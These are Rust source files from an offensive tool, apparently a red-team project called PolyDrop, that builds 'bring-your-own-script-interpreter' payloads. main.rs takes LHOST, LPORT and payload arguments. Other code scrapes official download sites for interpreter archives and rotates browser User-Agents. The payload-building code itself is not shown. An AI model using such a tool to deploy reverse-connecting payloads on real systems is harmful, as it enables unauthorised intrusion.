/src/builder/validate_urls/mod.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Context, Error, Result}; 2 | use chrono::Datelike; 3 | use julia::*; 4 | use kuchiki::parse_html; 5 | use kuchiki::traits::*; 6 | use rand::seq::SliceRandom; 7 | use rand::thread_rng; 8 | use reqwest::{Client, Response}; 9 | use std::collections::HashMap; 10 | use std::convert::TryInto; 11 | use std::default::Default; 12 | use std::time::{SystemTime, UNIX_EPOCH}; 13 | use colored::Colorize; 14 | use python::recurse_directory; 15 | use url::Url; 16 | use ext_to_os_payload_map::*; 17 | mod constants; 18 | mod github; 19 | mod julia; 20 | mod ext_to_os_payload_map; 21 | mod python; 22 | 23 | // no longer needed. 24 | const DLANG_CSS_SELECTOR: &[&str] = &["#content"]; 25 | const PYTHON_CSS_SELECTOR: &[&str] = &[""]; 26 | const USER_AGENTS: &[&str] = &[ 27 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", 28 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", 29 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36", 30 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36", 31 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36", 32 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 11.6; rv:92.0) Gecko/20100101 Firefox/92.0", 33 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.3", 34 | ]; 35 | 36 | // will remove this, as its no longer needed. 37 | // fn get_downloads() -> HashMap<&'static str, &'static str> { 38 | // let mut download_links: HashMap<&str, &str> = HashMap::new(); 39 | // download_links.insert("mac-tcl", "https://tclkits.rkeene.org/fossil/raw/"); // added 40 | // download_links.insert( 41 | // "base-tcl", 42 | // "https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/tclkit/", 43 | // ); // added 44 | // download_links.insert( 45 | // "dart", 46 | // "https://storage.googleapis.com/dart-archive/channels/main/raw/latest/sdk/", 47 | // ); 48 | // download_links.insert("nodejs", "https://nodejs.org/en/download/"); // added 49 | // download_links.insert( 50 | // "fsharp", 51 | // "https://download.visualstudio.microsoft.com/", 52 | // ); // added 53 | // download_links 54 | // } 55 | 56 | // ^ I DO NOT HAVE ANY CSS/XPATH FOR THOSE, some of those explcitily require a browser. work in progress. 57 | // @todo 58 | pub(crate) fn get_dir_listings() -> HashMap<&'static str, &'static str> { 59 | let mut listings = HashMap::new(); 60 | 61 | listings.insert("python", "https://www.python.org/ftp/"); 62 | listings.insert("dlang", "https://downloads.dlang.org/releases/"); 63 | listings.insert("win_php", "https://windows.php.net/downloads/releases/"); 64 | listings.insert("gnu_php", "https://dl.static-php.dev/static-php-cli/common/"); 65 | listings.insert("julia", "https://julialang-s3.julialang.org/"); 66 | listings.insert("golang", "https://go.dev/dl/"); 67 | 68 | listings 69 | } 70 | 71 | 72 | // Validate if the user-supplied URL is a valid archive link and present on the website 73 | pub async fn validate_url(user_url: &str, language: &str, platform: &str) -> Result { 74 | let supplied_url = Url::parse(user_url).context("Invalid user-supplied URL")?; 75 | let safe_lang = if platform.contains("windows") && language.contains("php") { 76 | "win_php" 77 | } else if (platform.contains("linux") || 78 | platform.contains("mac") && language.contains("php")) { 79 | "gnu_php" 80 | } else { 81 | language 82 | }; 83 | let selected_dir_listing = get_dir_listings().get(safe_lang).map(|s| s.to_string()).unwrap_or("None".to_string()); 84 | let response = perform_get_request(&user_url).await; 85 | match response { 86 | Ok(response) => { 87 | if response.status().is_success() { 88 | // let html = fetch_html(user_url).await?; 89 | // let archive_links = extract_archive_links(&html, &selected_dir_listing); 90 | if (supplied_url.path().ends_with(".zip") || supplied_url.path().ends_with(".tar.gz")) 91 | { 92 | Ok(true) 93 | } else { 94 | println!("Alternative archives:"); 95 | for i in fetch_and_list_archives(&selected_dir_listing).await.unwrap() { 96 | if i.contains(platform) { 97 | println!("{}", i.to_string()); 98 | } 99 | } 100 | Ok(false) 101 | } 102 | } else { 103 | Ok(false) 104 | } 105 | }, 106 | _ => { 107 | println!("Alternate archives to use:"); 108 | for i in fetch_and_list_archives(&selected_dir_listing).await.unwrap() { 109 | if i.contains(platform) { 110 | println!("{}", i.to_string()); 111 | } 112 | } 113 | Err(anyhow::anyhow!("Failed to parse the url, please double check the supplied URL to the list returned.")) 114 | } 115 | } 116 | 117 | } 118 | 119 | // Fetch the content of the download page and list all zip and tar.gz archives 120 | async fn fetch_and_list_archives(url: &str) -> Result> { 121 | let dir_listings = get_dir_listings(); 122 | let supplied_url = Url::parse(url).context("Invalid user-supplied URL")?; 123 | let base_url = supplied_url.origin().ascii_serialization(); 124 | if let Some(&anticipated_url) = dir_listings 125 | .values() 126 | .find(|&&u| u.contains(base_url.as_str())) 127 | { 128 | if base_url.contains("github.com") { 129 | println!("It's GitHub, going to try and parse with CSS selectors."); 130 | let html = fetch_html(anticipated_url).await?; 131 | let archive_links: Vec = github::extract_browser_download_urls(&html); 132 | let filtered_links: Vec = archive_links 133 | .into_iter() 134 | .filter(|link| { 135 | link.contains("crystal") 136 | || link.contains("bun") 137 | || link.contains("deno") 138 | || link.contains("vlang") 139 | }) 140 | .collect(); 141 | for link in &filtered_links { 142 | let anticipated_url = if link.contains("crystal") { 143 | constants::CRYSTAL_LANG_API[0] 144 | } else if link.contains("vlang") { 145 | constants::VLANG_API[0] 146 | } else if link.contains("bun") { 147 | constants::BUN_API[0] 148 | } else if link.contains("deno") { 149 | constants::DENO_API[0] 150 | } else { 151 | continue; 152 | }; 153 | } 154 | let github_json = fetch_html(anticipated_url).await?; 155 | let archive_links = github::extract_browser_download_urls(&github_json); 156 | println!("Github releases for {}", anticipated_url); 157 | Ok(archive_links) 158 | } else if base_url.contains("python.org") { 159 | let html = fetch_html(anticipated_url).await?; 160 | // let archive_links = recurse_directory("https://www.python.org/ftp/python/", "", &mut Default::default()).await?; 161 | let archive_links = find_href_values_github(&html, PYTHON_CSS_SELECTOR[0], &anticipated_url); 162 | Ok(archive_links) 163 | } else if base_url.contains("downloads.dlang.org") { 164 | // Format DLang URL with current year 165 | let dlang_url = format!( 166 | "https://downloads.dlang.org/releases/{}/", 167 | get_current_year() 168 | ); 169 | println!("Using: {}", dlang_url); 170 | // Fetch archived HTML again since it's a different URL 171 | let dlang_html = fetch_html(&dlang_url).await?; 172 | let archive_links = 173 | find_href_values_github(&dlang_html, DLANG_CSS_SELECTOR[0], &dlang_url); 174 | Ok(archive_links) 175 | } else if base_url.contains("julialang-s3.julialang.org") { 176 | let j_url = dir_listings["julia"]; 177 | let julia_xml = fetch_html(j_url).await?; 178 | let archive_links = parse_julia_s3_data(&julia_xml, &j_url); 179 | Ok(archive_links) 180 | } else { 181 | let html = fetch_html(anticipated_url).await?; 182 | let archive_links = extract_archive_links(&html, anticipated_url); 183 | Ok(archive_links) 184 | } 185 | } else { 186 | Err(anyhow::anyhow!("Base URL not found in the download list")) 187 | } 188 | } 189 | // Perform a GET request 190 | async fn perform_get_request(url: &str) -> Result { 191 | let user_agent = USER_AGENTS 192 | .choose(&mut thread_rng()) 193 | .expect("No User-Agent strings available"); 194 | let client = Client::builder() 195 | .redirect(reqwest::redirect::Policy::limited(3)) 196 | .build()?; 197 | let response = client 198 | .get(url) 199 | .header("User-Agent", *user_agent) 200 | .send() 201 | .await 202 | .with_context(|| format!("Failed to fetch URL: {}", url))?; 203 | Ok(response) 204 | } 205 | 206 | // Fetch the HTML content of the given URL 207 | async fn fetch_html(url: &str) -> Result { 208 | let response = perform_get_request(url).await?; 209 | if response.status().is_success() { 210 | let body = response.text().await?; 211 | Ok(body) 212 | } else { 213 | let status = response.status(); 214 | let error_text = response.text().await?; 215 | println!("Failed to fetch: {:?}", error_text); 216 | Err(anyhow::anyhow!("Failed to fetch URL: {}", status)) 217 | } 218 | } 219 | 220 | // Extract all zip and tar.gz links from the HTML content 221 | fn extract_archive_links(html: &str, base_url: &str) -> Vec { 222 | let mut archive_links = Vec::new(); 223 | let base = Url::parse(base_url).expect("Base URL is invalid"); 224 | let document = parse_html().one(html); 225 | for css_match in document.select("a").unwrap() { 226 | let attributes = css_match.attributes.borrow(); 227 | if let Some(href) = attributes.get("href") { 228 | if (href.ends_with(".zip") || href.ends_with(".tar.gz")) 229 | && !href.contains("debug") 230 | && !href.contains("devel") 231 | && !href.contains("test") 232 | && !href.contains("src") 233 | { 234 | if let Ok(url) = base.join(href) { 235 | archive_links.push(url.to_string()); 236 | } 237 | } 238 | } 239 | } 240 | archive_links 241 | } 242 | 243 | fn find_href_values_github(html: &str, css_selector: &str, url: &str) -> Vec { 244 | // Parse HTML 245 | let document = parse_html().one(html); 246 | // Query document using CSS selector 247 | let mut hrefs = Vec::new(); 248 | for node in document 249 | .select(css_selector) 250 | .expect("Failed to locate Table") 251 | { 252 | for a_tag in node 253 | .as_node() 254 | .select("a") 255 | .expect("Failed to select anchor tags") 256 | { 257 | if let Some(href) = a_tag.attributes.borrow().get("href") { 258 | // Filter and push valid href attributes 259 | if (href.ends_with(".zip") || href.ends_with(".tar.gz")) 260 | && !href.contains("src") 261 | && !href.contains("devel") 262 | && !href.contains("test") 263 | && !href.contains("debug") 264 | { 265 | let full_url = format!("{}{}", url, &href.to_string()[2..]); 266 | hrefs.push(full_url); 267 | } 268 | } 269 | } 270 | } 271 | 272 | hrefs 273 | } 274 | 275 | fn get_current_year() -> i32 { 276 | // Get the current system time 277 | let now = SystemTime::now(); 278 | // Convert to duration since UNIX_EPOCH 279 | let duration_since_epoch = now.duration_since(UNIX_EPOCH).expect("Time went backwards"); 280 | // Get the number of seconds since UNIX_EPOCH 281 | let seconds_since_epoch = duration_since_epoch.as_secs(); 282 | // Convert to `chrono::NaiveDateTime` for easier date manipulation 283 | let naive_datetime = 284 | chrono::NaiveDateTime::from_timestamp(seconds_since_epoch.try_into().unwrap(), 0); 285 | // Get the current date from the NaiveDateTime 286 | let date = naive_datetime.date(); 287 | // Extract the year 288 | date.year() 289 | } 290 | -------------------------------------------------------------------------------- /src/builder/validate_urls/python/mod.rs: -------------------------------------------------------------------------------- 1 | use reqwest::blocking::get; 2 | use reqwest::{Error}; 3 | use scraper::{Html, Selector}; 4 | use regex::Regex; 5 | use std::collections::HashSet; 6 | 7 | /// Recursively fetch and list contents of directories that match the version pattern. 8 | pub fn recurse_directory( 9 | base_url: &str, 10 | version_pattern: &str, 11 | visited: &mut HashSet, 12 | ) -> Result<(), Error> { 13 | let use_pattern = if version_pattern.is_empty() { 14 | r"^\d+(\.\d+)*?/?$" 15 | } else { 16 | version_pattern 17 | }; 18 | let version_regex = Regex::new(use_pattern).unwrap(); 19 | 20 | inner_recurse_directory(base_url, &version_regex, visited)?; 21 | 22 | Ok(()) 23 | } 24 | 25 | fn inner_recurse_directory( 26 | url: &str, 27 | version_regex: &Regex, 28 | visited: &mut HashSet, 29 | ) -> Result<(), Error> { 30 | if visited.contains(url) { 31 | return Ok(()); 32 | } 33 | 34 | visited.insert(url.to_string()); 35 | 36 | let response = get(url)?.text()?; 37 | let document = Html::parse_document(&response); 38 | let selector = Selector::parse("a").unwrap(); 39 | 40 | for element in document.select(&selector) { 41 | if let Some(link) = element.value().attr("href") { 42 | let next_url = format!("{}{}", url, link); 43 | 44 | if is_valid_directory(&link, version_regex) { 45 | println!("Directory: {}", link); 46 | inner_recurse_directory(&next_url, version_regex, visited)?; 47 | } else if !link.contains("://") && !link.contains("#") && !link.contains("?") { 48 | println!("File: {}", link); 49 | } 50 | } 51 | } 52 | 53 | Ok(()) 54 | } 55 | 56 | fn is_valid_directory(link: &str, version_regex: &Regex) -> bool { 57 | version_regex.is_match(link) && link.ends_with('/') 58 | } -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | mod builder; 2 | 3 | use std::collections::HashMap; 4 | use serde_json::to_string; 5 | use builder::{arguments, defaults::OS_TO_DOWNLOAD_HASHMAP, validate_urls}; 6 | use crate::builder::payload_builder; 7 | 8 | struct SuppliedArgs { 9 | platform: String, 10 | language: String, 11 | payload: String, 12 | output: String, 13 | lhostarg: String, 14 | lportarg: String, 15 | urlarg: String, 16 | all: bool, 17 | toolchain: Option, // Made optional 18 | default_download_url: Option, // Optional until determined 19 | } 20 | impl SuppliedArgs { 21 | // Constructor 22 | pub fn new(argsmap: &HashMap) -> Self { 23 | // Ensure that there are enough elements in the argsvec to avoid panics 24 | let platform = argsmap.get("platform").unwrap().to_string(); 25 | let language = argsmap.get("language").unwrap().to_string(); 26 | let payload = argsmap.get("payload").unwrap().to_string(); 27 | let output = argsmap.get("output").unwrap().to_string(); 28 | let lhostarg = argsmap.get("lhostarg").unwrap().to_string(); 29 | let lportarg = argsmap.get("lportarg").unwrap().to_string(); 30 | let urlarg = argsmap.get("urlarg").unwrap().to_string(); 31 | let all = argsmap.get("all").map_or(false, |s| s.to_string().to_lowercase() == "true"); 32 | let toolchain = argsmap.get("toolchain").map(|s| s.to_string()); 33 | 34 | SuppliedArgs { 35 | platform, 36 | language, 37 | payload, 38 | output, 39 | lhostarg, 40 | lportarg, 41 | urlarg, 42 | all, 43 | toolchain, 44 | default_download_url: None, 45 | } 46 | } 47 | } 48 | 49 | #[tokio::main] 50 | async fn main() { 51 | let args = arguments::getargs(); 52 | let mut supplied_args = SuppliedArgs::new(&parse_args_to_map(args.split_whitespace().collect())); 53 | println!("PolyDrop"); 54 | println!("- BYOSI (Bring-Your-Own-Script-Interpreter) Rapid Payload Deployment"); 55 | println!( 56 | "OS: {}\nPayload Type: {}\nOutput: {}\n", 57 | supplied_args.platform, supplied_args.payload, supplied_args.output 58 | ); 59 | println!( 60 | "LHOST: {}\nLPORT: {}\nURL: {}\n", 61 | supplied_args.lhostarg, supplied_args.lportarg, supplied_args.urlarg 62 | ); 63 | println!("All: {}\n", supplied_args.all); 64 | println!("Mapping the platform real quick...\n"); 65 | let default_download_url_map: Option<&&HashMap<&str, &str>> = OS_TO_DOWNLOAD_HASHMAP.get(supplied_args.platform.as_str()); 66 | if supplied_args.all.to_string().contains("true") { 67 | all_command(&supplied_args.platform, &supplied_args.urlarg, &supplied_args.output, &supplied_args.payload, &supplied_args.lhostarg, &supplied_args.lportarg).await; 68 | return 69 | } 70 | match default_download_url_map { 71 | Some(os_map) => { 72 | if supplied_args.toolchain.is_none() { 73 | if let Some(url) = os_map.get(supplied_args.language.as_str()) { 74 | supplied_args.default_download_url = Some(url.to_string()); 75 | println!("Toolchain is empty, selecting the default download URL.\n{}", url); 76 | } else { 77 | println!("No default download URL found for the given language."); 78 | return; 79 | } 80 | } 81 | if let Some(ref toolchain_url) = supplied_args.toolchain { 82 | match validate_urls::validate_url(toolchain_url, &supplied_args.language, &supplied_args.platform).await { 83 | Ok(valid_url) if valid_url => { 84 | builder::payload_builder( 85 | &supplied_args.platform, 86 | &supplied_args.language, 87 | &supplied_args.payload, 88 | &supplied_args.output, 89 | &supplied_args.all.to_string(), 90 | &supplied_args.lhostarg, 91 | &supplied_args.lportarg, 92 | &supplied_args.urlarg, 93 | ); 94 | }, 95 | Ok(_) => println!("Invalid toolchain URL provided."), 96 | Err(_) => println!("Error validating toolchain URL."), 97 | } 98 | } else if let Some(ref default_url) = supplied_args.default_download_url { 99 | match validate_urls::validate_url(default_url, &supplied_args.language, &supplied_args.platform).await { 100 | Ok(valid_url) if valid_url => { 101 | builder::payload_builder( 102 | &supplied_args.platform, 103 | &supplied_args.language, 104 | &supplied_args.payload, 105 | &supplied_args.output, 106 | &supplied_args.all.to_string(), 107 | &supplied_args.lhostarg, 108 | &supplied_args.lportarg, 109 | &supplied_args.urlarg, 110 | ); 111 | }, 112 | Ok(_) => println!("Invalid default download URL provided"), 113 | Err(e) => println!("Error validating default download URL.\n{}", e.to_string()), 114 | } 115 | } 116 | }, 117 | None => { 118 | println!("Not a valid OS."); 119 | return; 120 | } 121 | } 122 | } 123 | 124 | 125 | fn parse_args_to_map(argsvec: Vec<&str>) -> HashMap { 126 | let mut args_map = HashMap::new(); 127 | if let Some(arg) = argsvec.get(0) { 128 | args_map.insert("platform".to_string(), arg.to_string()); 129 | } 130 | if let Some(arg) = argsvec.get(1) { 131 | args_map.insert("language".to_string(), arg.to_string()); 132 | } 133 | if let Some(arg) = argsvec.get(2) { 134 | args_map.insert("payload".to_string(), arg.to_string()); 135 | } 136 | if let Some(arg) = argsvec.get(3) { 137 | args_map.insert("output".to_string(), arg.to_string()); 138 | } 139 | if let Some(arg) = argsvec.get(4) { 140 | args_map.insert("all".to_string(), arg.to_string()); 141 | } 142 | if let Some(arg) = argsvec.get(5) { 143 | args_map.insert("lhostarg".to_string(), arg.to_string()); 144 | } 145 | if let Some(arg) = argsvec.get(6) { 146 | args_map.insert("lportarg".to_string(), arg.to_string()); 147 | } 148 | if let Some(arg) = argsvec.get(7) { 149 | args_map.insert("urlarg".to_string(), arg.to_string()); 150 | } 151 | if let Some(arg) = argsvec.get(8) { 152 | args_map.insert("toolchain".to_string(), arg.to_string()); 153 | } 154 | args_map 155 | } 156 | 157 | async fn all_command(platform: &str, target_download: &str, output: &str, file_type: &str, lhost: &str, lport: &str, ){ 158 | println!("Buckle up buttercup!"); 159 | payload_builder( 160 | platform, 161 | "", 162 | file_type, 163 | output, 164 | "true", 165 | lhost, 166 | lport, 167 | target_download, 168 | ); 169 | } --------------------------------------------------------------------------------